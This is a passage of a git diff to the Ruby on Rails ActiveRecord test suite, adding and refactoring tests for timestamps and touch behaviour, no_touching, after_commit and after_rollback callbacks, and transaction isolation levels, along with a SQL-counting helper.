+ attr_accessor :ignored_sql, :log, :log_all
+ def clear_log; self.log = []; self.log_all = []; end
+ end
+
+ self.clear_log
+
+ self.ignored_sql = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /^SHOW max_identifier_length/, /^BEGIN/, /^COMMIT/]
+
+ # FIXME: this needs to be refactored so specific database can add their own
+ # ignored SQL, or better yet, use a different notification for the queries
+ # instead examining the SQL content.
+ oracle_ignored = [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im, /^\s*select .* from all_constraints/im, /^\s*select .* from all_tab_cols/im]
+ mysql_ignored = [/^SHOW TABLES/i, /^SHOW FULL FIELDS/, /^SHOW CREATE TABLE /i, /^SHOW VARIABLES /]
+ postgresql_ignored = [/^\s*select\b.*\bfrom\b.*pg_namespace\b/im, /^\s*select tablename\b.*from pg_tables\b/im, /^\s*select\b.*\battname\b.*\bfrom\b.*\bpg_attribute\b/im, /^SHOW search_path/i]
+ sqlite3_ignored = [/^\s*SELECT name\b.*\bFROM sqlite_master/im]
+
+ [oracle_ignored, mysql_ignored, postgresql_ignored, sqlite3_ignored].each do |db_ignored_sql|
+ ignored_sql.concat db_ignored_sql
+ end
+
+ attr_reader :ignore
+
+ def initialize(ignore = Regexp.union(self.class.ignored_sql))
+ @ignore = ignore
+ end
+
+ def call(name, start, finish, message_id, values)
+ sql = values[:sql]
+
+ # FIXME: this seems bad. we should probably have a better way to indicate
+ # the query was cached
+ return if 'CACHE' == values[:name]
+
+ self.class.log_all << sql
+ self.class.log << sql unless ignore =~ sql
+ end
+ end
+
+ ActiveSupport::Notifications.subscribe('sql.active_record', SQLCounter.new)
end
diff --git a/activerecord/test/cases/timestamp_test.rb b/activerecord/test/cases/timestamp_test.rb
index bb034848e1..db474c63a4 100644
--- a/activerecord/test/cases/timestamp_test.rb
+++ b/activerecord/test/cases/timestamp_test.rb
@@ -1,5 +1,7 @@
require 'cases/helper'
+require 'support/ddl_helper'
require 'models/developer'
+require 'models/computer'
require 'models/owner'
require 'models/pet'
require 'models/toy'
@@ -11,6 +13,7 @@ class TimestampTest < ActiveRecord::TestCase
def setup
@developer = Developer.first
+ @owner = Owner.first
@developer.update_columns(updated_at: Time.now.prev_month)
@previously_updated_at = @developer.updated_at
end
@@ -88,10 +91,88 @@ class TimestampTest < ActiveRecord::TestCase
assert_in_delta Time.now, task.ending, 1
end
+ def test_touching_many_attributes_updates_them
+ task = Task.first
+ previous_starting = task.starting
+ previous_ending = task.ending
+ task.touch(:starting, :ending)
+
+ assert_not_equal previous_starting, task.starting
+ assert_not_equal previous_ending, task.ending
+ assert_in_delta Time.now, task.starting, 1
+ assert_in_delta Time.now, task.ending, 1
+ end
+
def test_touching_a_record_without_timestamps_is_unexceptional
assert_nothing_raised { Car.first.touch }
end
+ def test_touching_a_no_touching_object
+ Developer.no_touching do
+ assert @developer.no_touching?
+ assert !@owner.no_touching?
+ @developer.touch
+ end
+
+ assert !@developer.no_touching?
+ assert !@owner.no_touching?
+ assert_equal @previously_updated_at, @developer.updated_at
+ end
+
+ def test_touching_related_objects
+ @owner = Owner.first
+ @previously_updated_at = @owner.updated_at
+
+ Owner.no_touching do
+ @owner.pets.first.touch
+ end
+
+ assert_equal @previously_updated_at, @owner.updated_at
+ end
+
+ def test_global_no_touching
+ ActiveRecord::Base.no_touching do
+ assert @developer.no_touching?
+ assert @owner.no_touching?
+ @developer.touch
+ end
+
+ assert !@developer.no_touching?
+ assert !@owner.no_touching?
+ assert_equal @previously_updated_at, @developer.updated_at
+ end
+
+ def test_no_touching_threadsafe
+ Thread.new do
+ Developer.no_touching do
+ assert @developer.no_touching?
+
+ sleep(1)
+ end
+ end
+
+ assert !@developer.no_touching?
+ end
+
+ def test_no_touching_with_callbacks
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = "developers"
+
+ attr_accessor :after_touch_called
+
+ after_touch do |user|
+ user.after_touch_called = true
+ end
+ end
+
+ developer = klass.first
+
+ klass.no_touching do
+ developer.touch
+ assert_not developer.after_touch_called
+ end
+ end
+
def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_update_the_parent_updated_at
pet = Pet.first
owner = pet.owner
@@ -113,6 +194,18 @@ class TimestampTest < ActiveRecord::TestCase
assert_not_equal previously_owner_updated_at, pet.owner.updated_at
end
+ def test_saving_a_new_record_belonging_to_invalid_parent_with_touch_should_not_raise_exception
+ klass = Class.new(Owner) do
+ def self.name; 'Owner'; end
+ validate { errors.add(:base, :invalid) }
+ end
+
+ pet = Pet.new(owner: klass.new)
+ pet.save!
+
+ assert pet.owner.new_record?
+ end
+
def test_saving_a_record_with_a_belongs_to_that_specifies_touching_a_specific_attribute_the_parent_should_update_that_attribute
klass = Class.new(ActiveRecord::Base) do
def self.name; 'Pet'; end
@@ -164,33 +257,190 @@ class TimestampTest < ActiveRecord::TestCase
assert_not_equal time, owner.updated_at
end
+ def test_touching_a_record_touches_polymorphic_record
+ klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Toy'; end
+ end
+
+ wheel_klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Wheel'; end
+ belongs_to :wheelable, :polymorphic => true, :touch => true
+ end
+
+ toy = klass.first
+ time = 3.days.ago
+ toy.update_columns(updated_at: time)
+
+ wheel = wheel_klass.new
+ wheel.wheelable = toy
+ wheel.save
+ wheel.touch
+
+ assert_not_equal time, toy.updated_at
+ end
+
+ def test_changing_parent_of_a_record_touches_both_new_and_old_parent_record
+ klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Toy'; end
+ belongs_to :pet, touch: true
+ end
+
+ toy1 = klass.find(1)
+ old_pet = toy1.pet
+
+ toy2 = klass.find(2)
+ new_pet = toy2.pet
+ time = 3.days.ago.at_beginning_of_hour
+
+ old_pet.update_columns(updated_at: time)
+ new_pet.update_columns(updated_at: time)
+
+ toy1.pet = new_pet
+ toy1.save!
+
+ old_pet.reload
+ new_pet.reload
+
+ assert_not_equal time, new_pet.updated_at
+ assert_not_equal time, old_pet.updated_at
+ end
+
+ def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_within_same_class
+ car_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Car'; end
+ end
+
+ wheel_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Wheel'; end
+ belongs_to :wheelable, :polymorphic => true, :touch => true
+ end
+
+ car1 = car_class.find(1)
+ car2 = car_class.find(2)
+
+ wheel = wheel_class.create!(wheelable: car1)
+
+ time = 3.days.ago.at_beginning_of_hour
+
+ car1.update_columns(updated_at: time)
+ car2.update_columns(updated_at: time)
+
+ wheel.wheelable = car2
+ wheel.save!
+
+ assert_not_equal time, car1.reload.updated_at
+ assert_not_equal time, car2.reload.updated_at
+ end
+
+ def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_with_other_class
+ car_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Car'; end
+ end
+
+ toy_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Toy'; end
+ end
+
+ wheel_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Wheel'; end
+ belongs_to :wheelable, :polymorphic => true, :touch => true
+ end
+
+ car = car_class.find(1)
+ toy = toy_class.find(3)
+
+ wheel = wheel_class.create!(wheelable: car)
+
+ time = 3.days.ago.at_beginning_of_hour
+
+ car.update_columns(updated_at: time)
+ toy.update_columns(updated_at: time)
+
+ wheel.wheelable = toy
+ wheel.save!
+
+ assert_not_equal time, car.reload.updated_at
+ assert_not_equal time, toy.reload.updated_at
+ end
+
+ def test_clearing_association_touches_the_old_record
+ klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Toy'; end
+ belongs_to :pet, touch: true
+ end
+
+ toy = klass.find(1)
+ pet = toy.pet
+ time = 3.days.ago.at_beginning_of_hour
+
+ pet.update_columns(updated_at: time)
+
+ toy.pet = nil
+ toy.save!
+
+ pet.reload
+
+ assert_not_equal time, pet.updated_at
+ end
+
+ def test_timestamp_column_values_are_present_in_the_callbacks
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = 'people'
+
+ before_create do
+ self.born_at = self.created_at
+ end
+ end
+
+ person = klass.create first_name: 'David'
+ assert_not_equal person.born_at, nil
+ end
+
def test_timestamp_attributes_for_create
toy = Toy.first
- assert_equal toy.send(:timestamp_attributes_for_create), [:created_at, :created_on]
+ assert_equal [:created_at, :created_on], toy.send(:timestamp_attributes_for_create)
end
def test_timestamp_attributes_for_update
toy = Toy.first
- assert_equal toy.send(:timestamp_attributes_for_update), [:updated_at, :updated_on]
+ assert_equal [:updated_at, :updated_on], toy.send(:timestamp_attributes_for_update)
end
def test_all_timestamp_attributes
toy = Toy.first
- assert_equal toy.send(:all_timestamp_attributes), [:created_at, :created_on, :updated_at, :updated_on]
+ assert_equal [:created_at, :created_on, :updated_at, :updated_on], toy.send(:all_timestamp_attributes)
end
def test_timestamp_attributes_for_create_in_model
toy = Toy.first
- assert_equal toy.send(:timestamp_attributes_for_create_in_model), [:created_at]
+ assert_equal [:created_at], toy.send(:timestamp_attributes_for_create_in_model)
end
def test_timestamp_attributes_for_update_in_model
toy = Toy.first
- assert_equal toy.send(:timestamp_attributes_for_update_in_model), [:updated_at]
+ assert_equal [:updated_at], toy.send(:timestamp_attributes_for_update_in_model)
end
def test_all_timestamp_attributes_in_model
toy = Toy.first
- assert_equal toy.send(:all_timestamp_attributes_in_model), [:created_at, :updated_at]
+ assert_equal [:created_at, :updated_at], toy.send(:all_timestamp_attributes_in_model)
+ end
+end
+
+class TimestampsWithoutTransactionTest < ActiveRecord::TestCase
+ include DdlHelper
+ self.use_transactional_fixtures = false
+
+ class TimestampAttributePost < ActiveRecord::Base
+ attr_accessor :created_at, :updated_at
+ end
+
+ def test_do_not_write_timestamps_on_save_if_they_are_not_attributes
+ with_example_table ActiveRecord::Base.connection, "timestamp_attribute_posts", "id integer primary key" do
+ post = TimestampAttributePost.new(id: 1)
+ post.save! # should not try to assign and persist created_at, updated_at
+ assert_nil post.created_at
+ assert_nil post.updated_at
+ end
end
end
diff --git a/activerecord/test/cases/transaction_callbacks_test.rb b/activerecord/test/cases/transaction_callbacks_test.rb
index 2ddc449c12..b5ac1bdaf9 100644
--- a/activerecord/test/cases/transaction_callbacks_test.rb
+++ b/activerecord/test/cases/transaction_callbacks_test.rb
@@ -1,21 +1,48 @@
require "cases/helper"
+require 'models/owner'
+require 'models/pet'
require 'models/topic'
class TransactionCallbacksTest < ActiveRecord::TestCase
self.use_transactional_fixtures = false
- fixtures :topics
+ fixtures :topics, :owners, :pets
+
+ class ReplyWithCallbacks < ActiveRecord::Base
+ self.table_name = :topics
+
+ belongs_to :topic, foreign_key: "parent_id"
+
+ validates_presence_of :content
+
+ after_commit :do_after_commit, on: :create
+
+ attr_accessor :save_on_after_create
+ after_create do
+ self.save! if save_on_after_create
+ end
+
+ def history
+ @history ||= []
+ end
+
+ def do_after_commit
+ history << :commit_on_create
+ end
+ end
class TopicWithCallbacks < ActiveRecord::Base
self.table_name = :topics
- after_commit{|record| record.send(:do_after_commit, nil)}
- after_commit(:on => :create){|record| record.send(:do_after_commit, :create)}
- after_commit(:on => :update){|record| record.send(:do_after_commit, :update)}
- after_commit(:on => :destroy){|record| record.send(:do_after_commit, :destroy)}
- after_rollback{|record| record.send(:do_after_rollback, nil)}
- after_rollback(:on => :create){|record| record.send(:do_after_rollback, :create)}
- after_rollback(:on => :update){|record| record.send(:do_after_rollback, :update)}
- after_rollback(:on => :destroy){|record| record.send(:do_after_rollback, :destroy)}
+ has_many :replies, class_name: "ReplyWithCallbacks", foreign_key: "parent_id"
+
+ after_commit { |record| record.do_after_commit(nil) }
+ after_commit(on: :create) { |record| record.do_after_commit(:create) }
+ after_commit(on: :update) { |record| record.do_after_commit(:update) }
+ after_commit(on: :destroy) { |record| record.do_after_commit(:destroy) }
+ after_rollback { |record| record.do_after_rollback(nil) }
+ after_rollback(on: :create) { |record| record.do_after_rollback(:create) }
+ after_rollback(on: :update) { |record| record.do_after_rollback(:update) }
+ after_rollback(on: :destroy) { |record| record.do_after_rollback(:destroy) }
def history
@history ||= []
@@ -45,7 +72,7 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
end
def setup
- @first, @second = TopicWithCallbacks.find(1, 3).sort_by { |t| t.id }
+ @first = TopicWithCallbacks.find(1)
end
def test_call_after_commit_after_transaction_commits
@@ -57,40 +84,62 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
end
def test_only_call_after_commit_on_update_after_transaction_commits_for_existing_record
- @first.after_commit_block(:create){|r| r.history << :commit_on_create}
- @first.after_commit_block(:update){|r| r.history << :commit_on_update}
- @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
- @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
- @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
- @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+ add_transaction_execution_blocks @first
@first.save!
assert_equal [:commit_on_update], @first.history
end
def test_only_call_after_commit_on_destroy_after_transaction_commits_for_destroyed_record
- @first.after_commit_block(:create){|r| r.history << :commit_on_create}
- @first.after_commit_block(:update){|r| r.history << :commit_on_update}
- @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
- @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
- @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
- @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+ add_transaction_execution_blocks @first
@first.destroy
assert_equal [:commit_on_destroy], @first.history
end
def test_only_call_after_commit_on_create_after_transaction_commits_for_new_record
- @new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
- @new_record.after_commit_block(:create){|r| r.history << :commit_on_create}
- @new_record.after_commit_block(:update){|r| r.history << :commit_on_update}
- @new_record.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
- @new_record.after_rollback_block(:create){|r| r.history << :rollback_on_create}
- @new_record.after_rollback_block(:update){|r| r.history << :rollback_on_update}
- @new_record.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
-
- @new_record.save!
- assert_equal [:commit_on_create], @new_record.history
+ new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
+ add_transaction_execution_blocks new_record
+
+ new_record.save!
+ assert_equal [:commit_on_create], new_record.history
+ end
+
+ def test_only_call_after_commit_on_create_after_transaction_commits_for_new_record_if_create_succeeds_creating_through_association
+ topic = TopicWithCallbacks.create!(:title => "New topic", :written_on => Date.today)
+ reply = topic.replies.create
+
+ assert_equal [], reply.history
+ end
+
+ def test_only_call_after_commit_on_create_and_doesnt_leaky
+ r = ReplyWithCallbacks.new(content: 'foo')
+ r.save_on_after_create = true
+ r.save!
+ r.content = 'bar'
+ r.save!
+ r.save!
+ assert_equal [:commit_on_create], r.history
+ end
+
+ def test_only_call_after_commit_on_update_after_transaction_commits_for_existing_record_on_touch
+ add_transaction_execution_blocks @first
+
+ @first.touch
+ assert_equal [:commit_on_update], @first.history
+ end
+
+ def test_only_call_after_commit_on_top_level_transactions
+ @first.after_commit_block{|r| r.history << :after_commit}
+ assert @first.history.empty?
+
+ @first.transaction do
+ @first.transaction(requires_new: true) do
+ @first.touch
+ end
+ assert @first.history.empty?
+ end
+ assert_equal [:after_commit], @first.history
end
def test_call_after_rollback_after_transaction_rollsback
@@ -106,12 +155,7 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
end
def test_only_call_after_rollback_on_update_after_transaction_rollsback_for_existing_record
- @first.after_commit_block(:create){|r| r.history << :commit_on_create}
- @first.after_commit_block(:update){|r| r.history << :commit_on_update}
- @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
- @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
- @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
- @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+ add_transaction_execution_blocks @first
Topic.transaction do
@first.save!
@@ -121,13 +165,19 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
assert_equal [:rollback_on_update], @first.history
end
+ def test_only_call_after_rollback_on_update_after_transaction_rollsback_for_existing_record_on_touch
+ add_transaction_execution_blocks @first
+
+ Topic.transaction do
+ @first.touch
+ raise ActiveRecord::Rollback
+ end
+
+ assert_equal [:rollback_on_update], @first.history
+ end
+
def test_only_call_after_rollback_on_destroy_after_transaction_rollsback_for_destroyed_record
- @first.after_commit_block(:create){|r| r.history << :commit_on_create}
- @first.after_commit_block(:update){|r| r.history << :commit_on_update}
- @first.after_commit_block(:destroy){|r| r.history << :commit_on_update}
- @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
- @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
- @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+ add_transaction_execution_blocks @first
Topic.transaction do
@first.destroy
@@ -138,26 +188,21 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
end
def test_only_call_after_rollback_on_create_after_transaction_rollsback_for_new_record
- @new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
- @new_record.after_commit_block(:create){|r| r.history << :commit_on_create}
- @new_record.after_commit_block(:update){|r| r.history << :commit_on_update}
- @new_record.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
- @new_record.after_rollback_block(:create){|r| r.history << :rollback_on_create}
- @new_record.after_rollback_block(:update){|r| r.history << :rollback_on_update}
- @new_record.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+ new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
+ add_transaction_execution_blocks new_record
Topic.transaction do
- @new_record.save!
+ new_record.save!
raise ActiveRecord::Rollback
end
- assert_equal [:rollback_on_create], @new_record.history
+ assert_equal [:rollback_on_create], new_record.history
end
def test_call_after_rollback_when_commit_fails
- @first.connection.class.send(:alias_method, :real_method_commit_db_transaction, :commit_db_transaction)
+ @first.class.connection.singleton_class.send(:alias_method, :real_method_commit_db_transaction, :commit_db_transaction)
begin
- @first.connection.class.class_eval do
+ @first.class.connection.singleton_class.class_eval do
def commit_db_transaction; raise "boom!"; end
end
@@ -167,8 +212,8 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
assert !@first.save rescue nil
assert_equal [:after_rollback], @first.history
ensure
- @first.connection.class.send(:remove_method, :commit_db_transaction)
- @first.connection.class.send(:alias_method, :commit_db_transaction, :real_method_commit_db_transaction)
+ @first.class.connection.singleton_class.send(:remove_method, :commit_db_transaction)
+ @first.class.connection.singleton_class.send(:alias_method, :commit_db_transaction, :real_method_commit_db_transaction)
end
end
@@ -178,23 +223,24 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
@first.after_rollback_block{|r| r.rollbacks(1)}
@first.after_commit_block{|r| r.commits(1)}
- def @second.rollbacks(i=0); @rollbacks ||= 0; @rollbacks += i if i; end
- def @second.commits(i=0); @commits ||= 0; @commits += i if i; end
- @second.after_rollback_block{|r| r.rollbacks(1)}
- @second.after_commit_block{|r| r.commits(1)}
+ second = TopicWithCallbacks.find(3)
+ def second.rollbacks(i=0); @rollbacks ||= 0; @rollbacks += i if i; end
+ def second.commits(i=0); @commits ||= 0; @commits += i if i; end
+ second.after_rollback_block{|r| r.rollbacks(1)}
+ second.after_commit_block{|r| r.commits(1)}
Topic.transaction do
@first.save!
Topic.transaction(:requires_new => true) do
- @second.save!
+ second.save!
raise ActiveRecord::Rollback
end
end
assert_equal 1, @first.commits
assert_equal 0, @first.rollbacks
- assert_equal 0, @second.commits
- assert_equal 1, @second.rollbacks
+ assert_equal 0, second.commits
+ assert_equal 1, second.rollbacks
end
def test_only_call_after_rollback_on_records_rolled_back_to_a_savepoint_when_release_savepoint_fails
@@ -221,59 +267,174 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
end
def test_after_transaction_callbacks_should_prevent_callbacks_from_being_called
+ old_transaction_config = ActiveRecord::Base.raise_in_transactional_callbacks
+ ActiveRecord::Base.raise_in_transactional_callbacks = false
+
def @first.last_after_transaction_error=(e); @last_transaction_error = e; end
def @first.last_after_transaction_error; @last_transaction_error; end
@first.after_commit_block{|r| r.last_after_transaction_error = :commit; raise "fail!";}
@first.after_rollback_block{|r| r.last_after_transaction_error = :rollback; raise "fail!";}
- @second.after_commit_block{|r| r.history << :after_commit}
- @second.after_rollback_block{|r| r.history << :after_rollback}
+
+ second = TopicWithCallbacks.find(3)
+ second.after_commit_block{|r| r.history << :after_commit}
+ second.after_rollback_block{|r| r.history << :after_rollback}
Topic.transaction do
@first.save!
- @second.save!
+ second.save!
end
assert_equal :commit, @first.last_after_transaction_error
- assert_equal [:after_commit], @second.history
+ assert_equal [:after_commit], second.history
- @second.history.clear
+ second.history.clear
Topic.transaction do
@first.save!
- @second.save!
+ second.save!
raise ActiveRecord::Rollback
end
assert_equal :rollback, @first.last_after_transaction_error
- assert_equal [:after_rollback], @second.history
+ assert_equal [:after_rollback], second.history
+ ensure
+ ActiveRecord::Base.raise_in_transactional_callbacks = old_transaction_config
+ end
+
+ def test_after_commit_should_not_raise_when_raise_in_transactional_callbacks_false
+ old_transaction_config = ActiveRecord::Base.raise_in_transactional_callbacks
+ ActiveRecord::Base.raise_in_transactional_callbacks = false
+ @first.after_commit_block{ fail "boom" }
+ Topic.transaction { @first.save! }
+ ensure
+ ActiveRecord::Base.raise_in_transactional_callbacks = old_transaction_config
end
-end
+ def test_after_commit_callback_should_not_swallow_errors
+ @first.after_commit_block{ fail "boom" }
+ assert_raises(RuntimeError) do
+ Topic.transaction do
+ @first.save!
+ end
+ end
+ end
+
+ def test_after_commit_callback_when_raise_should_not_restore_state
+ first = TopicWithCallbacks.new
+ second = TopicWithCallbacks.new
+ first.after_commit_block{ fail "boom" }
+ second.after_commit_block{ fail "boom" }
+
+ begin
+ Topic.transaction do
+ first.save!
+ assert_not_nil first.id
+ second.save!
+ assert_not_nil second.id
+ end
+ rescue
+ end
+ assert_not_nil first.id
+ assert_not_nil second.id
+ assert first.reload
+ end
-class SaveFromAfterCommitBlockTest < ActiveRecord::TestCase
+ def test_after_rollback_callback_should_not_swallow_errors_when_set_to_raise
+ error_class = Class.new(StandardError)
+ @first.after_rollback_block{ raise error_class }
+ assert_raises(error_class) do
+ Topic.transaction do
+ @first.save!
+ raise ActiveRecord::Rollback
+ end
+ end
+ end
+
+ def test_after_rollback_callback_when_raise_should_restore_state
+ error_class = Class.new(StandardError)
+
+ first = TopicWithCallbacks.new
+ second = TopicWithCallbacks.new
+ first.after_rollback_block{ raise error_class }
+ second.after_rollback_block{ raise error_class }
+
+ begin
+ Topic.transaction do
+ first.save!
+ assert_not_nil first.id
+ second.save!
+ assert_not_nil second.id
+ raise ActiveRecord::Rollback
+ end
+ rescue error_class
+ end
+ assert_nil first.id
+ assert_nil second.id
+ end
+
+ def test_after_rollback_callbacks_should_validate_on_condition
+ assert_raise(ArgumentError) { Topic.after_rollback(on: :save) }
+ end
+
+ def test_after_commit_callbacks_should_validate_on_condition
+ assert_raise(ArgumentError) { Topic.after_commit(on: :save) }
+ end
+
+ def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_call_callbacks_on_the_parent_object
+ pet = Pet.first
+ owner = pet.owner
+ flag = false
+
+ owner.on_after_commit do
+ flag = true
+ end
+
+ pet.name = "Fluffy the Third"
+ pet.save
+
+ assert flag
+ end
+
+ private
+
+ def add_transaction_execution_blocks(record)
+ record.after_commit_block(:create) { |r| r.history << :commit_on_create }
+ record.after_commit_block(:update) { |r| r.history << :commit_on_update }
+ record.after_commit_block(:destroy) { |r| r.history << :commit_on_destroy }
+ record.after_rollback_block(:create) { |r| r.history << :rollback_on_create }
+ record.after_rollback_block(:update) { |r| r.history << :rollback_on_update }
+ record.after_rollback_block(:destroy) { |r| r.history << :rollback_on_destroy }
+ end
+end
+
+class CallbacksOnMultipleActionsTest < ActiveRecord::TestCase
self.use_transactional_fixtures = false
- class TopicWithSaveInCallback < ActiveRecord::Base
+ class TopicWithCallbacksOnMultipleActions < ActiveRecord::Base
self.table_name = :topics
- after_commit :cache_topic, :on => :create
- after_commit :call_update, :on => :update
- attr_accessor :cached, :record_updated
- def call_update
- self.record_updated = true
+ after_commit(on: [:create, :destroy]) { |record| record.history << :create_and_destroy }
+ after_commit(on: [:create, :update]) { |record| record.history << :create_and_update }
+ after_commit(on: [:update, :destroy]) { |record| record.history << :update_and_destroy }
+
+ def clear_history
+ @history = []
end
- def cache_topic
- unless cached
- self.cached = true
- self.save
- else
- self.cached = false
- end
+ def history
+ @history ||= []
end
end
- def test_after_commit_in_save
- topic = TopicWithSaveInCallback.new()
+ def test_after_commit_on_multiple_actions
+ topic = TopicWithCallbacksOnMultipleActions.new
topic.save
- assert_equal true, topic.cached
- assert_equal true, topic.record_updated
+ assert_equal [:create_and_update, :create_and_destroy], topic.history
+
+ topic.clear_history
+ topic.approved = true
+ topic.save
+ assert_equal [:update_and_destroy, :create_and_update], topic.history
+
+ topic.clear_history
+ topic.destroy
+ assert_equal [:update_and_destroy, :create_and_destroy], topic.history
end
end
diff --git a/activerecord/test/cases/transaction_isolation_test.rb b/activerecord/test/cases/transaction_isolation_test.rb
index a396da6645..f89c26532d 100644
--- a/activerecord/test/cases/transaction_isolation_test.rb
+++ b/activerecord/test/cases/transaction_isolation_test.rb
@@ -1,113 +1,105 @@
require 'cases/helper'
-class TransactionIsolationUnsupportedTest < ActiveRecord::TestCase
- self.use_transactional_fixtures = false
+unless ActiveRecord::Base.connection.supports_transaction_isolation?
+ class TransactionIsolationUnsupportedTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
- class Tag < ActiveRecord::Base
- end
-
- setup do
- if ActiveRecord::Base.connection.supports_transaction_isolation?
- skip "database supports transaction isolation; test is irrelevant"
+ class Tag < ActiveRecord::Base
end
- end
- test "setting the isolation level raises an error" do
- assert_raises(ActiveRecord::TransactionIsolationError) do
- Tag.transaction(isolation: :serializable) { }
+ test "setting the isolation level raises an error" do
+ assert_raises(ActiveRecord::TransactionIsolationError) do
+ Tag.transaction(isolation: :serializable) { }
+ end
end
end
end
-class TransactionIsolationTest < ActiveRecord::TestCase
- self.use_transactional_fixtures = false
-
- class Tag < ActiveRecord::Base
- self.table_name = 'tags'
- end
-
- class Tag2 < ActiveRecord::Base
- self.table_name = 'tags'
- end
+if ActiveRecord::Base.connection.supports_transaction_isolation?
+ class TransactionIsolationTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
- setup do
- unless ActiveRecord::Base.connection.supports_transaction_isolation?
- skip "database does not support setting transaction isolation"
+ class Tag < ActiveRecord::Base
+ self.table_name = 'tags'
end
- Tag.establish_connection 'arunit'
- Tag2.establish_connection 'arunit'
- Tag.destroy_all
- end
-
- # It is impossible to properly test read uncommitted. The SQL standard only
- # specifies what must not happen at a certain level, not what must happen. At
- # the read uncommitted level, there is nothing that must not happen.
- test "read uncommitted" do
- unless ActiveRecord::Base.connection.transaction_isolation_levels.include?(:read_uncommitted)
- skip "database does not support read uncommitted isolation level"
+ class Tag2 < ActiveRecord::Base
+ self.table_name = 'tags'
end
- Tag.transaction(isolation: :read_uncommitted) do
- assert_equal 0, Tag.count
- Tag2.create
- assert_equal 1, Tag.count
+
+ setup do
+ Tag.establish_connection :arunit
+ Tag2.establish_connection :arunit
+ Tag.destroy_all
end
- end
- # We are testing that a dirty read does not happen
- test "read committed" do
- Tag.transaction(isolation: :read_committed) do
- assert_equal 0, Tag.count
+ # It is impossible to properly test read uncommitted. The SQL standard only
+ # specifies what must not happen at a certain level, not what must happen. At
+ # the read uncommitted level, there is nothing that must not happen.
+ if ActiveRecord::Base.connection.transaction_isolation_levels.include?(:read_uncommitted)
+ test "read uncommitted" do
+ Tag.transaction(isolation: :read_uncommitted) do
+ assert_equal 0, Tag.count
+ Tag2.create
+ assert_equal 1, Tag.count
+ end
+ end
+ end
- Tag2.transaction do
- Tag2.create
+ # We are testing that a dirty read does not happen
+ test "read committed" do
+ Tag.transaction(isolation: :read_committed) do
assert_equal 0, Tag.count
+
+ Tag2.transaction do
+ Tag2.create
+ assert_equal 0, Tag.count
+ end
end
+
+ assert_equal 1, Tag.count
end
- assert_equal 1, Tag.count
- end
+ # We are testing that a nonrepeatable read does not happen
+ if ActiveRecord::Base.connection.transaction_isolation_levels.include?(:repeatable_read)
+ test "repeatable read" do
+ tag = Tag.create(name: 'jon')
- # We are testing that a nonrepeatable read does not happen
- test "repeatable read" do
- unless ActiveRecord::Base.connection.transaction_isolation_levels.include?(:repeatable_read)
- skip "database does not support repeatable read isolation level"
- end
- tag = Tag.create(name: 'jon')
+ Tag.transaction(isolation: :repeatable_read) do
+ tag.reload
+ Tag2.find(tag.id).update(name: 'emily')
- Tag.transaction(isolation: :repeatable_read) do
- tag.reload
- Tag2.find(tag.id).update_attributes(name: 'emily')
+ tag.reload
+ assert_equal 'jon', tag.name
+ end
- tag.reload
- assert_equal 'jon', tag.name
+ tag.reload
+ assert_equal 'emily', tag.name
+ end
end
- tag.reload
- assert_equal 'emily', tag.name
- end
-
- # We are only testing that there are no errors because it's too hard to
- # test serializable. Databases behave differently to enforce the serializability
- # constraint.
- test "serializable" do
- Tag.transaction(isolation: :serializable) do
- Tag.create
+ # We are only testing that there are no errors because it's too hard to
+ # test serializable. Databases behave differently to enforce the serializability
+ # constraint.
+ test "serializable" do
+ Tag.transaction(isolation: :serializable) do
+ Tag.create
+ end
end
- end
- test "setting isolation when joining a transaction raises an error" do
- Tag.transaction do
